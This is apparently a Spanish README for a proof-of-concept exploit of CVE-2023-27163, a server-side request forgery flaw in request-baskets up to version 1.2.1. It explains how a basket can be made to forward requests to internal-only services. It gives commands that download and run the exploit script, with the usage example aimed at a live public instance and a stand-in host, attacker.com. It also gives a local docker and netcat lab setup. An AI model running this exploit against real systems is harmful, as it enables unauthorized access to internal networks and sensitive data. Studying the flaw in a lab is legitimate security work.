
Prueba de concepto para Falsificación de Solicitud del Lado del Servidor (SSRF) en request-baskets (<= v.1.2.1)
Este repositorio contiene una Prueba de Concepto (PoC) para CVE-2023-27163, una vulnerabilidad de Server-Side Request Forgery (SSRF) descubierta en request-baskets hasta la versión 1.2.1. Esta vulnerabilidad permite a atacantes acceder a recursos de red e información sensible explotando el componente /api/baskets/{name} mediante una solicitud API manipulada.
Créditos a @b33t1e, @chelinboo147 y @houqinsheng (ver artículo).
wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
bash ./CVE-2023-27163.sh https://rbaskets.in/ http://attacker.com/
Request-baskets es una aplicación web construida para recolectar y registrar solicitudes en una ruta específica, llamada basket. Al crearla, el usuario puede especificar otro servidor para reenviar la solicitud. El problema aquí es que el usuario puede especificar servicios no deseados, como aplicaciones cerradas a la red.
Por ejemplo: supongamos que el servidor aloja Request-baskets (puerto 55555) y un servidor web Flask en el puerto 8000. Flask también está configurado para interactuar solo con localhost. Al crear un basket que reenvíe a http://localhost:8000, el atacante puede acceder al servidor web Flask previamente restringido.

docker run -p 55555:55555 darklynx/request-baskets:v1.2.1
wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
nc -lvp 8000
DOCKER_IP=$(ifconfig docker0 | grep inet | head -n 1 | awk '{ print $2 }')
./CVE-2023-27163.sh http://127.0.0.1:55555/ http://$DOCKER_IP:8000/
Este proyecto está bajo la Unlicense.